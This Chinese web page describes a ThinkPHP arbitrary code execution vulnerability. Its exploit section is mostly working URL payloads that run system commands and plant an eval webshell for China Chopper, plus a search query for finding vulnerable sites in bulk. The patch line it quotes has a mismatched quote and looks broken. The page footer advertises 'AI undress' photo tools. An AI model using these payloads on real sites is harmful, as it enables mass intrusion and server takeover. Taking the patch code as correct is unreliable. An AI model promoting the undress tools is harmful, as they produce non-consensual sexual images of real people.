ThinkPHP框架任意代码执行漏洞的利用及其修复方法
ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
index.php/module/aciton/param1/${@print(THINK_VERSION)} index.php/module/aciton/param1/${@function_all()}
其中的function_all代表任何函数,比如:
index.php/module/aciton/param1/${@phpinfo()}
就可以获取服务器的系统配置信息等。
index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al
可以列出网站文件列表
index.php/module/action/param1/{${eval($_POST[s])}}
就可以直接执行一句话代码,用菜刀直接连接.
这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
thinkphp框架执行任意代码漏洞修复方法:
用户可下载官方发布的补丁:
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
或者或者直接修改源码:
将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
修改为:
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));
将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
注:本文仅供学习参考使用,请不要用于非法用途。

热AI工具

Undresser.AI Undress
人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover
用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool
免费脱衣服图片

Clothoff.io
AI脱衣机

AI Hentai Generator
免费生成ai无尽的。

热门文章

热工具

记事本++7.3.1
好用且免费的代码编辑器

SublimeText3汉化版
中文版,非常好用

禅工作室 13.0.1
功能强大的PHP集成开发环境

Dreamweaver CS6
视觉化网页开发工具

SublimeText3 Mac版
神级代码编辑软件(SublimeText3)

使用AppleID登录iTunesStore时,可能会在屏幕上抛出此错误提示“此AppleID尚未在iTunesStore中使用”。没有什么可担心的错误提示,您可以按照这些解决方案集进行修复。修复1–更改送货地址此提示出现在iTunesStore中的主要原因是您的AppleID个人资料中没有正确的地址。步骤1–首先,打开iPhone上的iPhone设置。步骤2–AppleID应位于所有其他设置的顶部。所以,打开它。步骤3–在那里,打开“付款和运输”选项。步骤4–使用面容ID验证您的访问权限。步骤

所以,你在上一次聚会上拍了一些很棒的照片,但不幸的是,你拍的大部分照片都是红眼睛。照片本身很棒,但其中的红色眼睛有点破坏了图像。更不用说,其中一些派对照片可能来自您朋友的手机。今天,我们将看看如何从照片中去除红眼。什么原因导致照片中的眼睛发红?在使用闪光灯拍照时,红眼现象往往会出现。这是因为闪光灯的光线直接照射到眼睛后部,引起眼底血管反射光线,从而在照片中呈现红色眼睛的效果。幸运的是,随着技术的不断进步,现在一些相机已经配备了红眼修正功能,可以有效解决这一问题。通过使用这种功能,相机会在拍摄照片

有win11用户在使用凭据登录时,收到的却是您的凭据无法验证的错误提示,这是怎么回事?小编调查此问题后,发现可能有几种不同的情况直接或者间接导致该问题,下面就和小编一起来看看吧。

很多朋友在使用电脑操作系统时,总会出现蓝屏的情况,就算是最新的win11系统,也难逃蓝屏的命运,因此今天小编带来了win11蓝屏修复教程。无论大家有没有遇到过蓝屏,都可以先学习一下,以备不时之需。win11蓝屏怎么修复方法一1、如果我们如果遇到了蓝屏,首先重启系统,查看是否能够正常启动。2、可以正常启动的话,右键点击桌面上的“计算机”,选择“管理”3、接着在弹出窗口左侧展开“系统工具”,选择“事件查看器”4、在事件查看器中,我们就可以看到具体是什么问题导致的蓝屏。5、接着只要根据蓝屏的情况以及事

PHP500错误全面指南:原因、诊断和修复在PHP开发过程中,我们经常会遇到HTTP状态码为500的错误。这种错误通常被称为"500InternalServerError",它是指在服务器端处理请求时发生了一些未知的错误。在本文中,我们将探讨PHP500错误的常见原因、诊断方法以及修复方法,并提供具体的代码示例供参考。1.500错误的常见原因1.

1、按win+r打开运行窗口,输入【regedit】回车,打开注册表编辑器。2、在打开的注册表编辑器中,依次点击展开【HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun】,在右侧空白处,点击右键选择【新建——字符串值】,并重命名为【systray.exe】。3、双击打开systray.exe,将其数值数据修改为【C:WindowsSystem32systray.exe】,点击【确定】保存设置。

如果您在升级到Windows11或Windows10后遇到aksfridge.sys蓝屏错误,本文将为您提供解决方案。您可以尝试以下方法来成功解决此问题。正版aksfridge.sys文件是AladdinKnowledgeSystems的AladdinHASP的软件组件。AladdinHASP(硬件反软件盗版)是一套数字版权管理(DRM)保护和许可软件。Aksfridge.sys是HASP正常运行所必需的过滤器驱动程序。该组件增加了对专用外部设备的支持。硬件反软件盗版,也称为AladdinHAS

有的朋友发现自己的电脑因为网卡驱动程序不正常上不了网,想要知道怎么修复,其实现在的系统都自带驱动程序修复功能,因此我们只需要手动更新一下驱动就可以了,实在不行还能使用驱动软件。网卡驱动程序不正常上不了网怎么修复:PS:要是突然出现的这个问题,可以先试试看重启电脑哟~重启后还不行在继续下面的操作。方法一:1、首先,点击任务栏中的右键,选择“开始菜单”2、在右键菜单中打开“设备管理器”。3、点击“网络适配器”,然后选择“更新驱动程序”点击“自动搜索驱动程序”后,更新完成即可正常上网5、也有些用户是因
